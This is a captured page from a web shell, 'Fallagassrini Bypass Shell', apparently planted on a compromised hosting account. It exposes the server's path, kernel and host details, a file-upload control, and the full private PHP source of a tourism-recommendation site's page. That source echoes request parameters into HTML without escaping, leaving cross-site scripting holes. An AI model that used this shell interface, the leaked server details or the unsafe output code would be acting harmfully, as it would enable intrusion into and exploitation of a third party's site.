Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/h/a/p/happyrenas/myreco.online/old/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/h/a/p/happyrenas/myreco.online/old/fiche_old.php

<?
include("configuration.php");
include("includes/fonctions.php");

$page="fiche.php";


// Échapper le token de la requête
$token = $db->escape($_REQUEST['token']);
if (!$token) exit;


$donnees_mrx = extraireMRXDonnees($_REQUEST);

$mrx_variable = $donnees_mrx['mrx_variable'];
$mrx_array    = $donnees_mrx['mrx_array'];


// Récupération des informations de la fiche hébergement
$myquery = "SELECT * FROM heb WHERE token = '$token'";
$fiche = $db->get_row($myquery);
if (!$fiche || !$fiche->id) exit;

// Redirection si hébergement en version "lite"
if ($fiche->name == 'lite') {
	header("Refresh:0; url=fiche_lite.php?token=$token");
	exit;
}


// ➤ Gestion de la langue

if (isset($_GET['langue']) && in_array(strtoupper($_GET['langue']), $langues)) {
	$_SESSION['langue'] = strtoupper($_GET['langue']);
}

if (isset($_SESSION['langue']) && in_array($_SESSION['langue'], $langues)) {
	$langue = $_SESSION['langue'];
} else {
	$country_code = strtoupper($fiche->country_code ?? 'FR');
	$langue = in_array($country_code, $langues) ? $country_code : 'FR';
	$_SESSION['langue'] = $langue; // On l'enregistre aussi
}

$trad = chargerTraductions($langue);


// ➤ Mise à jour du compteur et de la date d'affichage
$date_last_flash = date("Y-m-d H:i");
$db->query("UPDATE heb SET compteur_affichage = compteur_affichage + 1, date_last_flash = '$date_last_flash' WHERE id = {$fiche->id}");





// Paramètres passés
$query 				= $_GET['query'] ?? 'proche';
$categorie 			= $_GET['categorie'] ?? 'a_voir';
$zones 				= [$query];         // tableau avec UNE seule zone sélectionnée
$categories 		= [$categorie]; // tableau avec UNE seule catégorie sélectionnée
$token_fiche_visite = $db->escape($_REQUEST['token_fiche_visite']);



// Envoi email si nécessaire
if ($token_fiche_visite) {
	include("include_envoi_email.php");
}

// Gestion des préférences d'affichage
$neplusafficher = $db->escape($_REQUEST['neplusafficher']);
if ($neplusafficher == "1") {
	$_SESSION['neplusafficher'] = "1";
} elseif ($neplusafficher == "reset") {
	$_SESSION['neplusafficher'] = "";
}

// Traitement email saisi (par exemple newsletter ou reco)
$saisie_email = $db->escape($_REQUEST['saisie_email']);
if ($saisie_email) {
	include("include_myrecoeat.php");
}

?>



<html class="no-js" lang="<?echo $country_code;?>">
<head>
	<?include("includes/google_head.php");?>
    <meta charset="utf-8">
    <title>MyReco.Online</title>
    <meta name="description" content="">
	<meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="shortcut icon" href="https://www.myreco.online/img/icone.png" />
	<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
	<link rel="stylesheet" href="https://www.myreco.online/css/custom.css">
	<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.min.js"></script>
	<style>
	
	</style>
</head>

<body>
<?include("includes/google_body.php");?>
	<nav class="navbar fixed-top navbar-light bg-light">
		<div class="container d-flex justify-content-between align-items-center">
			<!-- Logo -->
			<div>
				<img src="img/logo_myreco.png" alt="Logo" class="d-none d-md-block" style="height: 40px;">
				<img src="img/logo_myreco.png" alt="Logo Mobile" class="d-md-none" style="height: 15px;">
			</div>

			<!-- Boutons + Sélecteur de langue -->
			<div class="d-flex align-items-center">
				<!-- Boutons de distance -->
				<a class="ml-1 btn btn-secondary btn-sm text-white <?php if ($query=="proche") echo 'active'; ?>" 
				   href="fiche.php?token=<?php echo $token; ?>&query=proche&categorie=<?php echo $categorie; ?>&<?php echo $mrx_variable; ?>">0-30km</a>

				<a class="ml-1 btn btn-secondary btn-sm text-white <?php if ($query=="median") echo 'active'; ?>" 
				   href="fiche.php?token=<?php echo $token; ?>&query=median&categorie=<?php echo $categorie; ?>&<?php echo $mrx_variable; ?>">30-60km</a>

				<a class="ml-1 btn btn-secondary btn-sm text-white <?php if ($query=="lointain") echo 'active'; ?>" 
				   href="fiche.php?token=<?php echo $token; ?>&query=lointain&categorie=<?php echo $categorie; ?>&<?php echo $mrx_variable; ?>">60-100km</a>

				<!-- Dropdown langue avec drapeau -->
				<div class="dropdown ml-1">
					<button class="btn btn-sm btn-outline-secondary dropdown-toggle d-flex align-items-center" type="button" id="dropdownLangue" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
						<img src="img/flag/ico/<?php echo strtolower($langue ?? 'fr'); ?>.png" alt="flag" style="height: 16px; width: auto; margin-right: 5px;">
						<?php echo strtoupper($langue ?? 'FR'); ?>
					</button>
					<div class="dropdown-menu dropdown-menu-right" aria-labelledby="dropdownLangue">
						<?php
						
						foreach ($langues as $l) {
							$url = "fiche.php?token=$token&query=$query&categorie=$categorie&$mrx_variable&langue=$l";
							$img = "img/flag/ico/" . strtolower($l) . ".png";
							echo "<a class='dropdown-item d-flex align-items-center' href='$url'>
									<img src='$img' alt='$l' style='height: 16px; width: auto; margin-right: 8px;'> $l
								  </a>";
						}
						?>
					</div>
				</div>
			</div>
		</div>
	</nav>



	<div class="mt-3 mb-3">&nbsp;</div>
	<?if ($saisie_email) {?>
		<div class="container mt-4">
			<div class="alert alert-warning alert-dismissible fade show" role="alert">
				<?echo $trad['Merci vous pouvez accéder à MyReco Eat'] ?? '⚠️';?><a target="_blank" href="<?echo $lien_myreco_eat;?>"> <?echo $trad['en cliquant ici'] ?? '⚠️';?></a><br>
				<?echo $trad['Appli toujours gratuite et sans pub'] ?? '⚠️';?> <br>
				<button type="button" class="close" data-dismiss="alert" aria-label="Close">
					<span aria-hidden="true">&times;</span>
				</button>
			</div>
		</div>
	<?}?>
	
	
	<?
	$tableau_liste_brut 			= recupererLieuxCarte($fiche, $zones, $categories, true);
	$tableau_liste = array_filter($tableau_liste_brut, function($item) use ($mrx_array) {
		return !in_array($item['token'], $mrx_array);
	});

	$tableau_liste_proprio  = recupererLieuxCarteProprio($fiche);
	
	$numero=0;
	?>
			
	<div class="container mycards">
		<div class="row">
			<?php
			foreach ($tableau_liste as $lieu) {
			$numero++;
			$lien_reservation = getLienReservation($lieu['id']);
			?>
			<div class="col-sm-4 py-2 mb-2">
				<div class="card h-100">
					
					<div id="demo<?echo $lieu['id'];?>" class="carousel slide" data-interval="999999999" data-touch="true" data-ride="carousel">
						
						<div class="carousel-inner">
							<div class="carousel-item  active"><img  src="../<?echo $lieu['photo_locale'];?>"></div>
						</div>
						
						<p class="basdroite" style="position:absolute;margin-left:0;border:0px;"><span style="background-color:#34DA66!important;font-size:0.9rem;color:#ffffff!important;" class="badge"><i class="far fa-heart  "></i> <?echo $lieu['compteur_like'];?></span></p>
					</div>
					
					
					
					<p style="position:absolute;margin-left:0;border:0px;"><span style="background-color:#6B757D!important;font-size:1.5rem;color:#ffffff!important;" class="badge"><?echo $numero;?></span></p>
					
					<div class="description card-body text-center">
						<h3 class="card-title"><?echo $lieu['name'];?></h3>
						<h4 class="card-subtitle"><span style="font-size:16px;"><?echo $lieu['postal_code'];?></span> <?echo $lieu['city'];?></h4>
						<p><?echo $trad['A'] ?? '⚠️';?> <?echo $lieu['distance'];?> km</p>
						<?if ($lieu['lien_reservation']) {?><p><a target="_blank" href='<?echo $lieu['lien_reservation'];?>'><span style="padding:6px;important!font-size:.8rem;" class="badge badge-info"><?echo $trad['Réserver'] ?? '⚠️';?></span></a></p><?}?>
						<p>
						<?
						if (strlen($lieu['dernier_avis'])>100){
							echo mb_substr($lieu['dernier_avis'],0,101);?>
							<span class="collapse" id="more<?echo $lieu['id'];?>"><?echo mb_substr($lieu['dernier_avis'],101);?></span> 
							<span><a href="#more<?echo $lieu['id'];?>" data-toggle="collapse">... <i class="fa fa-caret-down"></i></a></span>
						<?} else {
							echo $lieu['dernier_avis'];
						}
						?>
						</p><p></p>
					</div>
					<div style="padding-left:4!important;padding-right:4!important;" class="card-footer card-p">
						<div class="row">
							<div class="col-4 text-center mt-1">
								<span class="text-center"><?echo $lieu['rating'];?></span><br>
								<div class="rating-box text-center">
									<div class="rating text-center" style="width:<?echo $lieu['rating_percent'];?>%;"></div>
								</div>
							</div>
							<div class="col-4 mt-2 d-flex justify-content-center align-items-center">
								<a title="<?echo strip_tags($trad['J aime'] ?? '⚠️');?>" href="" data-toggle="modal" data-target="#form<?echo $lieu['id'];?>" class="mx-2">
									<i class="far fa-thumbs-up  fa-xl" style="color:#34DA66!important;"></i>
								</a>
								<a title="<?echo strip_tags($trad['Je signale'] ?? '⚠️');?>" href="" data-toggle="modal" data-target="#formbad<?echo $lieu['id'];?>" class="mx-2">
									<i class="far fa-thumbs-down fa-xl" style="color:#f20f0f!important;"></i>
								</a>
							</div>

							<div class="col-4  mt-2" >
								<a class="btn btn-light btn-sm" target="_blank" href="<?echo $lieu['googleMapsLink'];?>"><?echo $trad['Plus d info'] ?? '⚠️';?></a>
							</div>
						</div>
					</div>
				</div>
			</div>
			<!----------
			🔁 MODALE 🔁
			------------>
			
			<div class="modal fade" id="form<?echo $lieu['id'];?>" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
				<div class="modal-dialog modal-dialog-centered" role="document">
					<div class="modal-content">
						<div class="modal-header border-bottom-0">
							<h5 class="modal-title" id="exampleModalLabel"><?echo $trad['Votre avis'] ?? '⚠️';?><br></h5>
							<button type="button" class="close" data-dismiss="modal" aria-label="Close">
							<span aria-hidden="true">&times;</span>
							</button>
						</div>
						<form method="post" action="fiche.php">
						<input type="hidden" name="name" value="<?echo $name;?>">
						<input type="hidden" name="token_fiche_visite" value="<?echo $liste->token;?>">
						<input type="hidden" name="token" value="<?echo $token;?>">
						<input type="hidden" name="query" value="<?echo $query;?>">
						<input type="hidden" name="categorie" value="<?echo $categorie;?>">
						
						<?php
						for ($i = 1; $i <= 15; $i++) {
							$varName = 'mrx' . $i;
							$value = isset($$varName) ? $$varName : ''; // sécurité si jamais une variable manque
							echo '<input type="hidden" name="' . $varName . '" value="' . htmlspecialchars($value) . '">' . "\n";
						}
						?>

						
						<div class="modal-body">
							<div class="form-group">
								<textarea  class="form-control" id="avis" name="avis" rows="6" placeholder="<?echo $trad['Laissez un petit commentaire positif'] ?? '⚠️';?>"></textarea>
							</div>
						</div>
						<div class="modal-footer border-top-0 d-flex justify-content-center">
							<button type="submit" class="btn btn-success"><?echo $trad['Je signale'] ?? '⚠️';?></button>
							<h6 class="modal-title" id="exampleModalLabel"><br><?echo $trad['Les prochains clients de cet hébergement'] ?? '⚠️';?></h5>
						</div>
					  </form>
					</div>
			  </div>
			</div>

			<!----------
			🔁 MODALE 🔁
			------------>

			<div class="modal fade" id="formbad<?echo $lieu['id'];?>" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
				<div class="modal-dialog modal-dialog-centered" role="document">
					<div class="modal-content">
						<div class="modal-header border-bottom-0">
							<h5 class="modal-title" id="exampleModalLabel"><?echo $trad['Signaler un problème sur ce lieu'] ?? '⚠️';?><br></h5>
							<button type="button" class="close" data-dismiss="modal" aria-label="Close">
							<span aria-hidden="true">&times;</span>
							</button>
						</div>
						<form method="post" action="fiche.php">
						<input type="hidden" name="name" value="<?echo $name;?>">
						<input type="hidden" name="token_fiche_visite" value="<?echo $liste->token;?>">
						<input type="hidden" name="token" value="<?echo $token;?>">
						<input type="hidden" name="query" value="<?echo $query;?>">
						<input type="hidden" name="categorie" value="<?echo $categorie;?>">
						
						<?php
						for ($i = 1; $i <= 15; $i++) {
							$varName = 'mrx' . $i;
							$value = isset($$varName) ? $$varName : ''; // sécurité si jamais une variable manque
							echo '<input type="hidden" name="' . $varName . '" value="' . htmlspecialchars($value) . '">' . "\n";
						}
						?>
						
						<div class="modal-body">
							  <div class="form-group">
								<div class="radio-list">
									<label class="radio">
										<input type="radio" name="choix_bad" value="<?echo $trad['Catégorie incorrecte'] ?? '⚠️';?>" required>
										<span></span>
										<?echo $trad['Catégorie incorrecte'] ?? '⚠️';?>
									</label><br>
									<label class="radio">
										<input type="radio" name="choix_bad" value="<?echo $trad['Peu intéressant'] ?? '⚠️';?>">
										<span></span>
										<?echo $trad['Peu intéressant'] ?? '⚠️';?>
									</label><br>
									<label class="radio">
										<input type="radio" name="choix_bad" value="<?echo $trad['Inapproprié'] ?? '⚠️';?>">
										<span></span>
										<?echo $trad['Inapproprié'] ?? '⚠️';?>
									</label><br>
									<label class="radio">
										<input type="radio" name="choix_bad" value="<?echo $trad['Fermé'] ?? '⚠️';?>">
										<span></span>
										<?echo $trad['Fermé'] ?? '⚠️';?>
									</label><br>
								</div>
							</div>
						</div>
						<div class="modal-footer border-top-0 d-flex justify-content-center">
							<button type="submit" class="btn btn-success"><?echo $label_jaime_bad;?></button>
							<h6 class="modal-title" id="exampleModalLabel"><br><?echo $trad['Les prochains clients de cet hébergement'] ?? '⚠️';?></h5>
						</div>
					  </form>
					</div>
			  </div>
			</div>
		<?
		}
		?>
		</div>
	</div>
	
	<!----------
	🔁 MODALE 🔁
	------------>
	<div class="modal fade" id="lite" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel1" aria-hidden="true">
		<div class="modal-dialog modal-dialog-centered" role="document">
			<div class="modal-content">
				<div class="modal-header border-bottom-0">
					<p class="modal-title" id="exampleModalLabel1">
					<?echo $trad['prolonger'] ?? '⚠️';?>
					</p>
					<button type="button" class="close neplusafficher" data-dismiss="modal" aria-label="Close">
					<span aria-hidden="true">&times;</span>
					</button>
				</div>
				<form method="GET"  action="fiche.php">
				<input type="hidden" name="token" value="<?echo $token;?>">
				<input type="hidden" name="query" value="<?echo $query;?>">
				<input type="hidden" name="categorie" value="<?echo $categorie;?>">
				
				<?php
				for ($i = 1; $i <= 15; $i++) {
					$varName = 'mrx' . $i;
					$value = isset($$varName) ? $$varName : ''; // sécurité si jamais une variable manque
					echo '<input type="hidden" name="' . $varName . '" value="' . htmlspecialchars($value) . '">' . "\n";
				}
				?>
				<div class="modal-body">
					<div class="form-group">
						<input required type="email" class="form-control" id="saisie_email" name="saisie_email" placeholder="<?echo $trad['Votre adresse email'] ?? '⚠️';?>">
					</div>
				</div>
				<div class="modal-footer border-top-0 d-flex justify-content-center">
					<button type="submit" class="btn btn-success">
					<?echo $trad['Valider'] ?? '⚠️';?>
					</button>
					<button type="reset" class="btn btn-secondary neplusafficher">
					<?echo $trad['Ne plus afficher'] ?? '⚠️';?>
					</button>

				</div>
			  </form>
			</div>
	  </div>
	</div>
	<?if (count($tableau_liste)==0)
		{?>
        <div class="row justify-content-center">
            <div class="col-4">
                <div class="p-3 border bg-light text-center">
				<?echo $trad['Aucun résultat'] ?? '⚠️';?>
                </div>
            </div>
        </div>	
		<?}
		?>
	<div class="mt-3 mb-3">&nbsp;</div>
	<nav class="navbar fixed-bottom navbar-light bg-light">
	<div class="container d-flex justify-content-between align-items-center">
		<a class="btn btn-secondary text-white <?if ($categorie=="a_voir") {?> active<?}?>"  href="fiche.php?token=<?echo $token;?>&categorie=a_voir"><?echo $trad['A voir'] ?? '⚠️';?></a>
		<a class="btn btn-secondary text-white <?if ($categorie=="restaurant") {?> active<?}?>"  href="fiche.php?token=<?echo $token;?>&categorie=restaurant"><?echo $trad['Restaurant'] ?? '⚠️';?></a>
		<a class="btn btn-secondary text-white <?if ($categorie=="ludique") {?> active<?}?>"  href="fiche.php?token=<?echo $token;?>&categorie=ludique"><?echo $trad['Ludique'] ?? '⚠️';?></a>
		<a class="btn btn-secondary text-white <?if ($categorie=="soiree") {?> active<?}?>"  href="fiche.php?token=<?echo $token;?>&categorie=soiree"><?echo $trad['En soirée'] ?? '⚠️';?></a>
		<a class="mt-3 btn btn-block btn-secondary text-white <?if ($categorie=="reco") {?> active<?}?>"  href="fiche.php?token=<?echo $token;?>&categorie=reco"><?echo $trad['Les recos du proprio'] ?? '⚠️';?></a>
	</div>
	</nav>
	
<script type="text/javascript" src="https://www.myreco.online/js/notify.js"></script>
<script>
$(document).ready( function(){
	
	<?
	$aucun_mrx = empty(array_filter($mrx_array));
	if ($categorie == "restaurant" && $_SESSION['neplusafficher'] == '' && $aucun_mrx) { ?>

	 setTimeout(function() {
        $('#lite').modal('show');
      }, 5000);
	  
	  $(".neplusafficher").click(function(){
		 console.log("neplusafficher");
		 // Récupérer l'URL actuelle
		let currentUrl = window.location.href;
		// Créer un objet URL pour manipuler facilement les paramètres
		let url = new URL(currentUrl);

		// Ajouter ou mettre à jour le paramètre "neplusafficher"
		url.searchParams.set('neplusafficher', '1');

		// Recharger la page avec le nouveau paramètre
		window.location.href = url.toString();
		 
	  });
	<?}?>  
	$('.coeur_nombre').on('click', function (e) {
	var valeur 		= $(this).text();
	valeur = parseInt(valeur);
	$(this).text(valeur+1);
	})
	$('#demo').carousel({
      interval: false 
	});
	<?if ($miseajour) {?>
	$.notify('Votre commmentaire a bien été envoyé pour validation', {
		autoHide: true,
		autoHideDelay: 2000,
		globalPosition: 'top center',
		className: 'success'
	});
	<?}?>
	
 });
 </script>
	
</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net